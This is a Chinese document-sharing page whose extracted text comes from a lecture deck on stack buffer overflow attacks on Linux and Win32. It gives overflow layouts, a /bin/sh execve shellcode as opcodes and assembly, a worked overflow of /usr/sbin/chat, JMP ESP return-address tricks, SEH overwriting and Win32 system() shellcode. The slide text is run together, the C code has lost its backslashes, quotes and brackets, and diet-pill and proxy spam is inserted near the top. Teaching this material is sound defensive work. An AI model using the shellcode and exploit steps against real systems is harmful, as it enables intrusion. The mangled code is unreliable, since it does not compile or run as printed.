棧溢出攻擊技術(shù)_第1頁(yè)
棧溢出攻擊技術(shù)_第2頁(yè)
棧溢出攻擊技術(shù)_第3頁(yè)
棧溢出攻擊技術(shù)_第4頁(yè)
棧溢出攻擊技術(shù)_第5頁(yè)
已閱讀5頁(yè),還剩45頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、緩沖區(qū)溢出攻擊技術(shù)棧溢出攻擊技術(shù)本資料由-|創(chuàng)業(yè)|創(chuàng)業(yè)網(wǎng)提供資料在線代理|網(wǎng)頁(yè)代理|代理網(wǎng)頁(yè)| 減肥藥排行榜|淘寶最好的減肥藥|什么減肥藥效果最好|減肥瘦身藥|1內(nèi)容緩沖區(qū)溢出攻擊簡(jiǎn)介基本概念及發(fā)展歷史背景知識(shí) (Linux & win32)緩沖區(qū)溢出攻擊的原理?xiàng)R绯龉羧绾喂ぷ鳎縇inux: 棧溢出, shellcodeWin32: 棧溢出, shellcode總結(jié)2緩沖區(qū)溢出攻擊的威脅3緩沖區(qū)溢出攻擊的基本概念向緩沖區(qū)中填入過多的數(shù)據(jù),超出邊界導(dǎo)致數(shù)據(jù)外溢,覆蓋了相鄰的內(nèi)存空間利用緩沖區(qū)溢出改寫數(shù)據(jù)、改變程序執(zhí)行流程干擾系統(tǒng)運(yùn)行,破壞系統(tǒng)完全性,任意執(zhí)行惡意代碼4緩沖區(qū)溢出攻擊的發(fā)展歷史1

2、980sMorris蠕蟲fingerd緩沖區(qū)溢出攻擊1996Aleph One, Smashing the Stack for Fun and Profit, Phrack 491998Dildog: 提出利用棧指針的方法完成跳轉(zhuǎn)The Tao of Windows Buffer Overflows1999Dark Spyrit: 提出使用系統(tǒng)核心DLL中的Jmp ESP指令完成跳轉(zhuǎn), Phrack 55M. Conover: 基于堆的緩沖區(qū)溢出教程5緩沖區(qū)溢出攻擊背景知識(shí)與技巧編譯器、調(diào)試器的使用Linux: gcc+gdbWin32: VC6.0+OllyDbg進(jìn)程內(nèi)存空間結(jié)構(gòu)匯編語言基本

3、知識(shí)棧的基本結(jié)構(gòu)函數(shù)調(diào)用過程6GCC編譯器基礎(chǔ)最著名的GNU的Ansi c/c+編譯器gcc options 編譯: gcc -c test.c 生成 test.o連接: gcc -o test test.o同時(shí)搞定: gcc test.c -o testmake: 用于控制編譯過程Make To7GDB調(diào)試器的使用斷點(diǎn)相關(guān)指令break/clear, disable/enable/deletewatch 表達(dá)式值改變時(shí),程序中斷執(zhí)行相關(guān)指令run/continue/next/stepattach 調(diào)試已運(yùn)行的進(jìn)程finish/return信息查看相關(guān)指令info reg/break/back

4、trace 函數(shù)調(diào)用棧print /f exp 顯示表達(dá)式的值x /nfu addr 顯示指定內(nèi)存地址的內(nèi)容list 列出源碼disass func 反匯編指定函數(shù)8VC6.0命令行環(huán)境變量我的電腦屬性高級(jí)環(huán)境變量PATH: C:Program FilesMicrosoft Visual StudioVC98Bin;C:Program FilesMicrosoft Visual StudioCommonMSDev98Bin;INCLUDE:C:Program FilesMicrosoft Visual StudioVC98IncludeLIB:C:Program FilesMicrosoft

5、Visual StudioVC98Lib命令行指令cl source 編譯并鏈接9Win32平臺(tái)調(diào)試器OllyDbg1.10漢化版32-bit assembler level analysing debugger by Oleh YuschukFree支持插件機(jī)制OllyUni: 查找跳轉(zhuǎn)指令功能SofticeIDA Pro10背景知識(shí)進(jìn)程內(nèi)存空間ESPEIP0 xc00000000 x80000000LinuxWin3211Linux進(jìn)程內(nèi)存空間Highest zone (0 xc0000000-3G)進(jìn)程環(huán)境參數(shù): env strings & pointers進(jìn)程參數(shù): argv stri

6、ngs & pointers, argc 棧存儲(chǔ)函數(shù)參數(shù)、本地參數(shù)和棧狀態(tài)變量 (返回地址, )LIFO, 向低地址增長(zhǎng)堆動(dòng)態(tài)分配變量 (malloc)向高地址增長(zhǎng).bss: uninitialized data.data: static initialized data.text(0 x80000000): 指令, 只讀數(shù)據(jù)Example: ./linux/memory/memory.c12Win32進(jìn)程內(nèi)存空間系統(tǒng)核心內(nèi)存區(qū)間0 xFFFFFFFF0 x80000000 (4G2G)為Win32操作系統(tǒng)保留用戶內(nèi)存區(qū)間0 x000000000 x80000000 (2G0G)堆: 動(dòng)態(tài)分配

7、變量(malloc), 向高地址增長(zhǎng)靜態(tài)內(nèi)存區(qū)間: 全局變量、靜態(tài)變量代碼區(qū)間: 從0 x00400000開始棧: 向低地址增長(zhǎng)單線程進(jìn)程: (棧底地址: 0 x0012FFXXXX)多線程進(jìn)程擁有多個(gè)堆/棧Example: ./win32/background/memory.c13匯編語言基礎(chǔ)知識(shí)寄存器寄存器名說明功能eax:累加器加法乘法指令的缺省寄存器, 函數(shù)返回值ecx計(jì)數(shù)器REP & LOOP指令的內(nèi)定計(jì)數(shù)器edx除法寄存器存放整數(shù)除法產(chǎn)生的余數(shù)ebx: 基址寄存器在內(nèi)存尋址時(shí)存放基地址esp棧頂指針寄存器SS:ESP當(dāng)前堆棧的棧頂指針ebp棧底指針寄存器SS:EBP當(dāng)前堆棧的棧底指

8、針esi, dei源、目標(biāo)索引寄存器在字符串操作指令中,DS:ESI指向源串ES:EDI指向目標(biāo)串eip 指令寄存器CS:EIP指向下一條指令的地址eflags標(biāo)志寄存器標(biāo)志寄存器cs代碼段寄存器當(dāng)前執(zhí)行的代碼段ss椎棧段寄存器stack segment, 當(dāng)前堆棧段ds數(shù)據(jù)段寄存器data segment, 當(dāng)前數(shù)據(jù)段14匯編語言基礎(chǔ)知識(shí)匯編指令 AT&T 格式與Intel 格式 命令解釋PUSH%esp -= 4; movl %REG, (%esp)POP movl (%esp), %REG; %esp += 4JMPmovl addr, %eipCALLpushl %eip; %eip

9、= addressLEAVEmov %ebp, % esp; pop %ebpRETpopl %eip15棧的基本結(jié)構(gòu)棧LIFO抽象數(shù)據(jù)結(jié)構(gòu)用于實(shí)現(xiàn)函數(shù)或過程調(diào)用相關(guān)寄存器BP (Base Pointer) = FP (Frame Pointer): 當(dāng)前棧底指針SP (Stack Pointer): 當(dāng)前棧頂指針相關(guān)操作PUSH: 壓棧POP: 彈棧16函數(shù)調(diào)用過程函數(shù)調(diào)用過程的三個(gè)步驟prologue: 保存當(dāng)前的棧基址 (ebp).call: 調(diào)用參數(shù)和返回地址(eip)壓棧,跳轉(zhuǎn)到函數(shù)入口return (or epilogue): 恢復(fù)調(diào)用者原有棧17函數(shù)調(diào)用過程示例21Ret-add

10、ebpretValStack frameespespespespmain ebpespfunc ebpespespespespesp18緩沖區(qū)溢出攻擊的本源沒有內(nèi)嵌支持的邊界保護(hù)User funcsAnsi C/C+: strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(), scanf()程序員安全編程技巧和意識(shí)可執(zhí)行的棧(堆)給出Shell或執(zhí)行任意的代碼19緩沖區(qū)溢出示例20棧溢出攻擊的原理當(dāng)調(diào)用函數(shù)時(shí)Call指令會(huì)將返回地址(Call指令下一條指令地址)壓入棧Ret指令會(huì)把壓棧的返回地址彈給EIP棧溢出攻擊的原理通過緩沖區(qū)溢

11、出修改棧中的返回地址當(dāng)函數(shù)調(diào)用返回,EIP獲得被修改后的返回地址,并執(zhí)行Shellcode挑戰(zhàn)1: 將修改后的返回地址填到正確的位置挑戰(zhàn)2: 返回地址能正確地指向Shellcode21char shellcode = xebx1fx;char large_string128;int main(int argc, char *argv) char buffer96; int i; long *long_ptr = (long *) large_string; for (i = 0; i 32; i+) *(long_ptr + i) = (int) buffer; for (i = 0; i (

12、int) strlen(shellcode); i+) large_stringi = shellcodei; strcpy(buffer, large_string); return 0;Return addBuffer(96bytes)ilong_ptr高地址低地址Para2 Para1Return addReturn addReturn addReturn addshellcode棧溢出攻擊示例22Linux系統(tǒng)下的棧溢出攻擊棧溢出攻擊NSR模式NRS模式R.S模式Shellcode真實(shí)世界中的棧溢出攻擊23NOPshellcodeLow AddressNOPNOPRETRETRETHi

13、gh Addressvulnerable1.c: stackexploit1.c:NSR溢出模式24RETshellcodeLow AddressRETRETNOPNOPNOPHigh Addressvulnerable2. c: stackexploit2.c:RNS溢出模式25shellcodeLow AddressFILENULLHigh Addressvulnerable2.c: stackexploit3.c:0 xc0000000RETRETRETR.S溢出模式利用環(huán)境變量26棧溢出模式分析挑戰(zhàn)溢出點(diǎn) (在哪改寫返回地址?)Shellcode地址 (將返回地址改寫成什么?)NSR模

14、式最經(jīng)典的方法 Alpha One 需要漏洞程序有足夠大的緩沖區(qū)RNS模式能夠適合小緩沖區(qū)情況,更容易計(jì)算返回地址R.S模式最新的方法: execve (, argv , envp);Ret = 0 xc0000000 4 strlen () strlen (shellcode), 不需要任何NOP但對(duì)遠(yuǎn)程緩沖區(qū)溢出攻擊不適用27Shellcode C版本28Shellcode 匯編版本shellcode_asm.cshellcode_asm_fix.c去除029Shellcode Opcode版本31 d2xor %edx,%edx52push %edx68 6e 2f 73 68push

15、$0 x68732f6e68 2f 2f 62 69push $0 x69622f2f89 e3mov %esp,%ebx52push %edx53push %ebx89 e1mov %esp,%ecx8d 42 0blea 0 xb(%edx),%eaxcd 80int $0 x8030給出遠(yuǎn)程登錄的Shellcode31滲透防火墻的Shellcodefcntl設(shè)置socket狀態(tài)scznsfocus發(fā)送OOB數(shù)據(jù)bkbllcnhonke利用ioctl函數(shù)的FIONREAD選項(xiàng)eyasxfocus文件上傳下載功能32在真實(shí)Linux世界中的棧溢出攻擊2003/09 - /usr/sbin/c

16、hat stack overflow尋找溢出點(diǎn)gdb /usr/sbin/chat(gdb) run perl -e print A x 1056* eip 0 x41414141 0 x41414141(gdb) run perl -e print A x 1000Program exited with code 03.返回地址ret=0 xc0000000-strlen(shellcode)-strlen(/usr/sbin/chat)-sizeof(void *);Here we go!(實(shí)戰(zhàn)訓(xùn)練)char *env=HOME=/root,shellcode,NULL;for(i=100

17、0;i1056;i+=4) *(long *)&bufi=ret;execve(p0,p,env);Why not root? - (not setuid program)33Win32系統(tǒng)下的棧溢出攻擊棧溢出攻擊本地棧溢出示例遠(yuǎn)程棧溢出攻擊Shellcode真實(shí)Win32世界中的棧溢出攻擊34漏洞程序35如何利用?與Linux平臺(tái)有何不同?Win32平臺(tái)與Linux平臺(tái)的不同之處如何進(jìn)行系統(tǒng)調(diào)用shellcode方式不同Win32: 通過調(diào)用系統(tǒng)DLL提供的接口函數(shù)Linux: 通過中斷進(jìn)行系統(tǒng)調(diào)用對(duì)廢棄棧的處理NSR模式不適用于Win32Win32: 寫入一些隨機(jī)的數(shù)據(jù)Linux: 不進(jìn)行

18、任何處理進(jìn)程內(nèi)存空間的分布NRS與R.S模式同樣不適用于Win32Win32: 棧在1G以下的用戶空間,地址中有空字節(jié)Linux: 棧在3G(0 xc0000000)附近,地址中沒有空字節(jié)36Win32對(duì)廢棄棧的處理如何以Shellcode地址覆蓋返回地址?NSR模式R指向了Shellcode地址, 但執(zhí)行“mov esp,ebp”恢復(fù)調(diào)用者棧信息時(shí),Win32會(huì)在被廢棄的棧中填入一些隨機(jī)數(shù)據(jù)。WE LOST SHELLCODE! 調(diào)用者的棧調(diào)用參數(shù)返回地址EBP局部變量 Shellcode地址RSSSSSSSSNNNNNNNNEBPESPESP%37如何以Shellcode地址覆蓋返回地址?

19、NRS模式棧在1G(0 x00FFFFFF)以下如果R直接指向Shellcode,則在R中必然含有空字節(jié)0. Shellcode將被截?cái)?we lost shellcode AGAIN!R.S模式Win32平臺(tái)無SUID機(jī)制,本地溢出沒有意義同樣會(huì)由于R中含空字節(jié)被截?cái)嗾{(diào)用者的棧調(diào)用參數(shù)Return addressEBP局部變量 Shellcode地址地址R中含空字節(jié)SSSSRNNNNNNNNWin32棧地址含有空字節(jié)38如何解決?通過Jmp/Call ESP指令跳轉(zhuǎn)1998: Dildog-提出利用棧指針的方法完成跳轉(zhuǎn)1999: Dark Spyrit-提出使用系統(tǒng)核心DLL中的Jmp ES

20、P指令完成跳轉(zhuǎn)跳轉(zhuǎn)指令在哪?OllyUni插件提供Overflow Return Address功能代碼頁(yè)里的地址: 不受任何系統(tǒng)版本及SP影響,但受語言區(qū)域選擇影響。應(yīng)用程序加載的用戶DLL,取決于具體的應(yīng)用程序,可能較通用。系統(tǒng)未變的DLL,特定發(fā)行版本里不受SP影響,但不同語言版本加載基址可能會(huì)不同。39通過跳轉(zhuǎn)指令執(zhí)行Shellcode如何利用跳轉(zhuǎn)指令讓漏洞程序正確執(zhí)行我們的Shellcode0040100F |. E8 0C000000 CALL 00401014 |. 83C4 08 ADD ESP,800401017 |. 8BE5 MOV ESP,EBP00401019 |.

21、5D POP EBP0040101A . C3 RETNNOW ESP POINTS TO SHELLCODE!調(diào)用者的棧調(diào)用參數(shù)Return addressEBP局部變量SSSSRNNNNNNNNEBPESPESPESPESPJMP ESP40Win32遠(yuǎn)程緩沖區(qū)溢出遠(yuǎn)程緩沖區(qū)溢出演示緩沖區(qū)溢出漏洞服務(wù)器端程序:server.cpp遠(yuǎn)程緩沖區(qū)溢出攻擊代碼:exploit.c結(jié)構(gòu)化異常處理SEHserver_seh.cpp進(jìn)行了異常處理,exploit時(shí)返回前異常觸發(fā),程序流進(jìn)入異常處理SEH保存在棧中,對(duì)其進(jìn)行覆蓋XP和2003的增強(qiáng)異常處理VEH向量化異常處理異常處理次序: 調(diào)試器 VEH

22、 SEHVEH保存在堆里David Litchfield: “Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server”41Win32 Shellcode C語言版42Win32 Shellcode 匯編語言版43Win32 Shellcode Opcode版44Win32完整的本地Shellcodeshellcode_asm_full.c - 三個(gè)API調(diào)用過程:LoadLibrary(msvcrt.dll);system();exit(0);平臺(tái)相關(guān)的API入口地址system() and exit()使用LoadLibrary()和GetProcAddress() 獲取其他API函數(shù)入口地址GetProcAddress()和LoadLibrary()的地址可以在漏洞程序的Import Address Table找到G

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論